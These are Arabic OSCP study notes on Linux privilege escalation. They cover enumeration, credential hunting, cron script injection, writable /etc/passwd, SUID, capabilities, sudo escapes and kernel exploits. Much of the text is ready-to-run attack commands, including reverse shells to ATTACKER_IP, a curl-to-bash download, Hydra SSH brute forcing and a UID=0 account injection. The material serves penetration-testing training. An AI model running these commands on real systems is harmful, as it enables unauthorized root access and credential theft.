الفلسفة الأساسية في Unix/Linux: "كل شيء ملف" — معظم موارد النظام (ملفات، مجلدات، devices، processes، network interfaces) بتتعامَل كملفات. هذا التصميم بيجعل نموذج الصلاحيات نقطة تحليل مركزية لأي مسار لرفع الامتيازات.
بعد الحصول على Shell، أول سؤال: "مين أنا وإيه اللي أقدر أعمله؟" uid=0 = root مباشرة. uid=1000+ = مستخدم عادي يحتاج ترقية.
| الأمر | ما يكشفه | ما تبحث عنه |
|---|---|---|
id | UID، GID، والمجموعات | مجموعات ذات امتيازات: sudo, docker, disk, adm |
cat /etc/passwd | كل حسابات المستخدمين | حسابات بـ UID=0 غير root، حسابات الخدمات |
hostname | اسم الجهاز | يكشف الدور: web01, db02, dc01 |
cat /etc/issue | توزيعة Linux وإصدارها | يحدّد Kernel Exploits المناسبة |
uname -a | إصدار الـ Kernel والمعمارية | رقم الـ Kernel للبحث عن CVEs |
ip a | الـ Network Interfaces | واجهات متعددة = pivot point محتمل |
ss -tulpn | المنافذ المفتوحة + المستمعة | خدمات داخلية غير مكشوفة = سطح هجوم جديد |
ps aux | كل العمليات الجارية | خدمات بتشتغل كـ root (web servers, DBs, backups) |
dpkg -l / rpm -qa | التطبيقات المثبَّتة وإصداراتها | نقطة بداية بحث Exploits |
Cron Jobs بتشتغل تلقائياً — غالبًا بصلاحيات root. لو script مُشغَّل بـ cron كـ root وقابل للكتابة من مستخدم عادي → ترقية فورية.
# الـ Crontab الرئيسي للنظام
cat /etc/crontab
# مجلدات cron الدورية
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/
ls -la /etc/cron.weekly/
ls -la /etc/cron.monthly/
ls -la /etc/cron.d/
# Cron jobs المستخدم الحالي
crontab -l
# البحث عن scripts قابلة للكتابة في المسارات المذكورة بالـ Crontab
cat /etc/crontab | grep -v '^#'
# → * * * * * root /home/joe/backup.sh
ls -la /home/joe/backup.sh
# → -rwxrwxrw- ← world-writable! اشتغل عليه
# إيجاد الملفات القابلة للكتابة من أي مستخدم
find / -writable -type f 2>/dev/null | grep -v proc
# إيجاد المجلدات القابلة للكتابة
find / -writable -type d 2>/dev/null
# إيجاد SUID binaries
find / -perm -u=s -type f 2>/dev/null
# إيجاد SGID binaries
find / -perm -g=s -type f 2>/dev/null
# إيجاد ملفات بصلاحيات 777
find / -perm 777 -type f 2>/dev/null
الأدوات الآلية كثيراً ما تفوَّت إعدادات مخصَّصة وثغرات فريدة. دايماً ادمج الأتمتة مع التحليل اليدوي — الأداة مُسرِّعة مش بديلة.
Linux بيخزَّن ملفات الإعداد والتاريخ في ملفات مخفية (بتبدأ بنقطة). هذه الملفات غالبًا مصدر خصيب لبيانات الاعتماد — جهد قليل وعائد مرتفع.
| الملف | محتواه | ما تبحث عنه |
|---|---|---|
~/.bash_history | كل الأوامر المُنفَّذة سابقاً | كلمات مرور مُلصَقة مباشرة: mysql -u root -pSuperSecret! |
~/.bashrc | يُنفَّذ مع كل Shell جديد | متغيّرات بيئة بقيم حساسة للـ Automation Scripts |
~/.bash_profile | يُنفَّذ عند تسجيل الدخول | نفس ما فوق + PATH مخصَّص |
~/.profile | ملف إعداد Login | Credentials للخدمات والـ APIs |
~/.ssh/ | مفاتيح SSH | authorized_keys وid_rsa (مفاتيح خاصة غير محمية) |
# تاريخ الأوامر — غالبًا يحتوي passwords plain text
cat ~/.bash_history
# → mysql -u root -pSuperSecret123
# → curl -u admin:P@ssw0rd! http://internal-api/...
# متغيّرات البيئة المُصدَرة
cat ~/.bashrc
# → export SCRIPT_CREDENTIALS=lab
# كل متغيّرات البيئة الحالية
env
printenv
# → SCRIPT_CREDENTIALS=lab
# → DB_PASSWORD=secret123
# إيجاد ملفات hidden في home directory
ls -la ~
ls -la /home/*/
① إيجاد SCRIPT_CREDENTIALS=lab في الـ env
② التحقق إنه مُصدَّر في ~/.bashrc (دائم)
③ تجربة الكلمة مباشرة على root: su - root
④ لو فشل → بناء wordlist مخصَّص (Lab000–Lab999) → Hydra على SSH
⑤ credential واحدة ممكن تخترق حسابات متعددة
# تجربة الـ Credential على root مباشرة
su - root
# Password: lab → لو نجح = root فوري!
# لو فشل → بناء wordlist وBrute-Force
crunch 6 6 -t Lab%%% > lab.txt
# → Lab000, Lab001, ..., Lab999
# Brute-Force SSH مع القائمة المولَّدة
hydra -l eve -P lab.txt ssh://192.168.50.X
# → [22][ssh] login: eve pass: Lab123
المستخدمون ذوو الامتيازات المنخفضة يقدرون بشكل افتراضي يشوفوا Command-Line Arguments لكل العمليات — حتى عمليات root. بعض الخدمات بتمرَّر كلمات المرور مباشرة في Command Line.
# Watch Loop — مراقبة مستمرة لاصطياد credentials
while true; do
ps aux | grep -i 'pass'
sleep 1
done
# مثال على ما ممكن تصطاده:
# root 1423 sshpass -p 'W3lcome1!' ssh backup@192.168.1.5
# tcpdump — اصطياد ترافيك الـ Loopback
# (لو tcpdump ممنوح للمستخدم العادي)
tcpdump -i lo -A | grep -i pass
# → Password: r00tpassword!
# → Authorization: Basic YWRtaW46cGFzc3dvcmQ=
لو شفت Authorization: Basic في الترافيك، القيمة دي Base64 encoded. فكَّها بـ echo "YWRtaW46cGFzc3dvcmQ=" | base64 -d → admin:password
Cron Jobs التي يديرها root بتشتغل بصلاحيات root كاملة. لو Script المُشغَّلة بـ Cron موجودة في مكان قابل للكتابة من مستخدم عادي → حقن أوامر → تنفَّذ كـ root.
# 1. فحص الـ Crontab
cat /etc/crontab
# * * * * * root /home/joe/backup.sh
# 2. التحقق من الصلاحيات
ls -la /home/joe/backup.sh
# -rwxrwxrw- 1 root root backup.sh ← world-writable!
# 3. حقن Reverse Shell
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /home/joe/backup.sh
# 4. تشغيل Listener على جهاز المهاجم
nc -lvnp 4444
# 5. انتظار أقل من دقيقة → root shell تصل
# whoami → root
بيخزَّن معلومات حسابات المستخدمين — قابل للقراءة من الجميع لأسباب التوافق. النظام الحديث بيخزَّن الهاشات في /etc/shadow — لكن Linux ما زال يدعم الهاشات في /etc/passwd للتوافق العكسي. لو الملف قابل للكتابة → ثغرة حرجة.
صيغة الإدخال: username:password:UID:GID:comment:home:shell
المهاجم ممكن يُضيف إدخالاً بـ UID=0 (معاملته بالظبط زي root من الـ OS) مع هاش كلمة مرور معروف — بدون الحاجة لأي exploit.
# 1. التحقق إن /etc/passwd قابل للكتابة
ls -la /etc/passwd
# -rw-rw-rw- 1 root root /etc/passwd ← world-writable!
# 2. توليد هاش كلمة المرور
openssl passwd -1 -salt hacker mypassword
# → $1$hacker$xxxxxxxxxxxxxxxxxxxx
# أو بدون Salt
openssl passwd mypassword
# 3. إضافة حساب جديد بـ UID=0
echo 'root2:$1$hacker$xxxxxxxxxxxxxxxxxxxx:0:0:root2:/root:/bin/bash' >> /etc/passwd
# 4. التبديل للحساب الجديد
su root2
# Password: mypassword
# 5. التحقق
id
# uid=0(root2) gid=0(root) groups=0(root)
لو /etc/passwd world-writable — هذا واحد من أسرع مسارات الـ root على الإطلاق. لا Exploit، لا Compilation، لا انتظار — فقط إضافة سطر واحد. دايماً تحقَّق من صلاحياته في بداية التعداد.
عادةً، العملية بتشتغل بـ UID المستخدم اللي شغَّلها. لما SUID bit مُعيَّن، البرنامج بيشتغل بصلاحيات مالك الملف — مش المستخدم الحالي. لما تلاقي SUID binary مملوك لـ root وبيسمح بتنفيذ أوامر → أي أمر بيشتغل كـ root. ابحث عن s في الصلاحيات: -rwsr-xr-x
# البحث عن كل SUID binaries
find / -perm -u=s -type f 2>/dev/null
# → /usr/bin/find ← الهدف!
# → /usr/bin/passwd ← شرعي (لتغيير كلمة المرور)
# → /usr/bin/python3 ← خطير!
# التحقق من الـ SUID flag
ls -la /usr/bin/find
# -rwsr-xr-x 1 root root /usr/bin/find
# استغلال find (يسمح بتنفيذ أوامر عبر -exec)
find . -exec /bin/sh -p \; -quit
# التحقق من النتيجة
id
# uid=1000(joe) euid=0(root) ← effective UID = root!
# أو بطريقة أخرى
find . -exec whoami \;
# → root
gtfobins.github.io — قاعدة بيانات شاملة لتقنيات استغلال مئات الـ Binaries عبر SUID وSudo والـ Capabilities وغيرها. لما تجد SUID binary، ابحث فيه فوراً.
الـ Capabilities بتقسَّم امتيازات root لصلاحيات أصغر ومحدَّدة يمكن منحها لـ Binary معيّن — دون منحه root كامل. أكثر Capability خطرة: cap_setuid — تسمح للـ Binary بتغيير UID الخاص به لـ 0 (root).
# البحث عن كل binaries لها Capabilities
getcap -r / 2>/dev/null
# → /usr/bin/python3 = cap_setuid+ep ← خطير!
# → /usr/bin/perl = cap_setuid+ep
# → /usr/bin/ruby = cap_setuid+ep
# استغلال cap_setuid عبر Python
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# → root shell فوري
# نفس الأسلوب مع Perl
perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/bash";'
# مع Ruby
ruby -e 'Process::Sys.setuid(0); exec "/bin/bash"'
python3، perl، ruby، node، php — أي منها بـ cap_setuid+ep بيدّيك root بسطر واحد. getcap -r / 2>/dev/null واحد من أهم الأوامر في التعداد.
sudo بيسمح للمستخدمين المرخَّصين بتشغيل أوامر كـ root بدون تسجيل الدخول كـ root. القواعد في /etc/sudoers. أهم أمر في الـ PrivEsc على Linux:
sudo -l| ما تراه | المعنى | مسار الاستغلال |
|---|---|---|
NOPASSWD: /usr/bin/vim | vim بدون كلمة مرور | sudo vim -c ':!/bin/bash' |
NOPASSWD: /usr/bin/find | find بدون كلمة مرور | sudo find . -exec /bin/sh \; |
NOPASSWD: /usr/bin/python3 | python بدون كلمة مرور | sudo python3 -c 'import os; os.system("/bin/bash")' |
NOPASSWD: /usr/bin/apt-get | apt-get بدون كلمة مرور | Changelog pager → !/bin/bash |
NOPASSWD: /usr/bin/less | less بدون كلمة مرور | sudo less /etc/passwd → !/bin/bash |
NOPASSWD: ALL | كل الأوامر بدون كلمة مرور | sudo /bin/bash مباشرة |
# فحص sudo permissions
sudo -l
# → (root) NOPASSWD: /usr/bin/apt-get
# مثال apt-get — يفتح Pager (less) عند changelog
sudo apt-get changelog apt
# داخل الـ Pager، اكتب:
!/bin/bash
# → root shell
# مثال vim
sudo vim -c ':!/bin/bash'
# مثال less
sudo less /etc/passwd
!/bin/bash
# مثال awk
sudo awk 'BEGIN {system("/bin/bash")}'
# مثال نمطي: أي أداة تفتح shell
# راجع gtfobins.github.io للقائمة الكاملة
الـ Kernel بيتحكَّم في كل العمليات منخفضة المستوى — Kernel Exploit ممكن يتجاوز كل ضوابط الأمان ويمنح root مباشرة. لكنه الأخطر: Exploit خاطئ أو غير متوافق ممكن يعمل Kernel Panic (Crash) للنظام.
uname -r لازم يتطابق تماماًcat /etc/issue && uname -r && arch
# → Ubuntu 16.04 | 4.4.0-116-generic | x86_64
# searchsploit على الـ Kali
searchsploit linux kernel 4.4 local privilege escalation
searchsploit "ubuntu 16.04" local
# أدوات Automated Suggester
# Windows Exploit Suggester - Next Gen (wes.py)
python wes.py --update
python wes.py sysinfo.txt -i 'Privilege Escalation'
اقرأ الكود — افهم flags التجميع، تعليمات الاستخدام، والشروط المطلوبة. بعض الـ Exploits تحتاج حالات خاصة أو إصدارات محدَّدة من المكتبات.
# نقل الـ Source للهدف
# (wget, curl, scp, python http.server, nc...)
wget http://ATTACKER_IP/exploit.c
# تجميع على الهدف مباشرة (الأفضل — يضمن التوافق)
gcc exploit.c -o exploit
# التحقق من الناتج
file exploit
# → ELF 64-bit LSB executable, x86-64
chmod +x exploit
./exploit
# لو نجح:
id
# uid=0(root) gid=0(root) groups=0(root)
تأكّد إن id بيُظهر uid=0. وثَّق النتيجة. أعِد النظام لحالته المستقرة لو أمكن — Kernel Exploits بعضها بتعدَّل Kernel Memory وممكن تسبَّب عدم استقرار.
Kernel Exploit فاشل ممكن يوقع النظام — هذا يعني فقدان الوصول الكامل وإنذار فوري للفريق الدفاعي. دايماً جرَّب في Lab مطابق أولاً. استخدمه فقط لو كل الأساليب الأخرى فشلت.
| # | الفحص | الأمر | المسار |
|---|---|---|---|
| 1 | sudo -l: NOPASSWD entries؟ | sudo -l | GTFOBins → root shell |
| 2 | /etc/passwd world-writable؟ | ls -la /etc/passwd | إضافة UID=0 account |
| 3 | cap_setuid على interpreter؟ | getcap -r / 2>/dev/null | os.setuid(0) → bash |
| 4 | Cron script قابل للكتابة؟ | cat /etc/crontab + ls -la | حقن Reverse Shell |
| 5 | SUID binary خطير؟ | find / -perm -u=s -type f 2>/dev/null | GTFOBins → root shell |
| 6 | Credential في History/Env؟ | cat ~/.bash_history && env | إعادة استخدام → su/ssh |
| 7 | /etc/shadow قابل للقراءة؟ | ls -la /etc/shadow | Hashcat → كسر كلمة مرور root |
| 8 | Kernel إصدار قديم؟ | uname -r + searchsploit | Kernel Exploit (آخر حل) |
# الهوية الكاملة
id && whoami && groups
# معلومات النظام
cat /etc/issue; uname -a; arch
# المستخدمون والـ Shadow
cat /etc/passwd | grep -v nologin
ls -la /etc/shadow # هل قابل للقراءة؟
ls -la /etc/passwd # هل قابل للكتابة؟
# Sudo
sudo -l
# SUID
find / -perm -u=s -type f 2>/dev/null
# Capabilities
getcap -r / 2>/dev/null
# Cron
cat /etc/crontab; ls /etc/cron*
# Writable files (مهم)
find / -writable -type f -not -path "/proc/*" 2>/dev/null
# History & Env
cat ~/.bash_history; env; cat ~/.bashrc
# الشبكة
ip a; ss -tulpn
# العمليات
ps aux | grep root
# LinPEAS (بعد الأوامر اليدوية)
./linpeas.sh | tee /tmp/linpeas_output.txt
| Binary | SUID Shell Escape | Sudo Shell Escape |
|---|---|---|
find | find . -exec /bin/sh -p \; -quit | sudo find . -exec /bin/sh \; |
vim | vim -c ':py import os; os.execl("/bin/sh","sh","-p")' | sudo vim -c ':!/bin/bash' |
python3 | python3 -c 'import os;os.execl("/bin/sh","sh","-p")' | sudo python3 -c 'import os;os.system("/bin/bash")' |
less | — | sudo less /etc/passwd → !/bin/bash |
awk | awk 'BEGIN{system("/bin/sh -p")}' | sudo awk 'BEGIN{system("/bin/bash")}' |
perl | perl -e 'exec "/bin/sh -p";' | sudo perl -e 'exec "/bin/bash";' |
nmap | nmap --interactive → !sh | sudo nmap --interactive → !sh |
cp | نسخ /bin/bash → SUID | نسخ /etc/passwd / /etc/shadow |
# على الـ Attacker: HTTP Server
python3 -m http.server 8080
# على الهدف: تنزيل الملف
wget http://ATTACKER_IP:8080/linpeas.sh
curl -o linpeas.sh http://ATTACKER_IP:8080/linpeas.sh
# بديل: نقل عبر nc
# Attacker: nc -lvnp 4444 < exploit.c
# Target: nc ATTACKER_IP 4444 > exploit.c
# تنفيذ LinPEAS مباشرة بدون حفظ
curl http://ATTACKER_IP:8080/linpeas.sh | bash
# Bash Reverse Shell
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
# Python Reverse Shell
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash"])'
# Listener على Attacker
nc -lvnp 4444
# Upgrade Shell (بعد الاتصال)
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z → stty raw -echo; fg
الموديول ده بنى منهجية شاملة لرفع الامتيازات على Linux — من فهم نموذج الصلاحيات الأساسي، لصيد بيانات الاعتماد من آثار المستخدمين، واستغلال الإعدادات الخاطئة في Cron وملفات النظام، وصولاً لتقنيات SUID وCapabilities وSudo والـ Kernel.
Linux PrivEsc منهجية، مش حظ. ابدأ بـ Quick Wins (sudo -l, /etc/passwd, getcap) → فحص SUID وCron → صيد Credentials من الآثار → Kernel كآخر ملاذ. الصبر والتعداد المنهجي يُفضي للـ root في كل مرة.
ترتيب الفحوص في الـ Engagement الحقيقي: sudo -l → getcap -r / → ls -la /etc/passwd /etc/shadow → cat /etc/crontab → find / -perm -u=s → cat ~/.bash_history && env → LinPEAS → Kernel. كل خطوة فاشلة ترشدك للتالية. وثَّق كل شيء.
نهاية نوتس الموديول الخامس عشر — OSCP: Linux Privilege Escalation